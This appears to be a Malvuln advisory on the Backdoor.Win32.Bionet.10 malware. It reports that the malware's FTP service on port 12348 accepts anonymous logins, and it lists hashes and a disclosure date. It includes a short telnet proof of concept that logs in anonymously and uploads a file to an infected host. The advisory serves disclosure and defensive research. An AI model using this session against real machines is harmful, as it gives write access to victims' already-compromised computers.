Backdoor.Win32.Bionet.10 malware has an ftp service that allows for anonymous login.
404aa1cc25a484f04ec04f3fcdd9b35295adf133838edc77ca4e63911e3d6bde
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/be559307f5cd055f123a637b1135c8d3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Bionet.10
Vulnerability: Anonymous Logon
Description: The backdoor listens on TCP port 12348 and allows anonymous logon credentials to be used to access an infected host.
Type: PE32
MD5: be559307f5cd055f123a637b1135c8d3
Vuln ID: MVID-2021-0099
Dropped files:
Disclosure: 02/18/2021
Exploit/PoC:
TELNET x.x.x.x 12348
220 BNFTP Server ready.
USER anonymous
331 Password required for anonymous.
PASS anonymous
230 User anonymous logged in.
PASV
227 Entering Passive Mode (192,168,1,10,194,160).
STOR 1.js
150 Opening data connection for 1.js.
PASV
226 File received ok
227 Entering Passive Mode (192,168,1,10,194,162).
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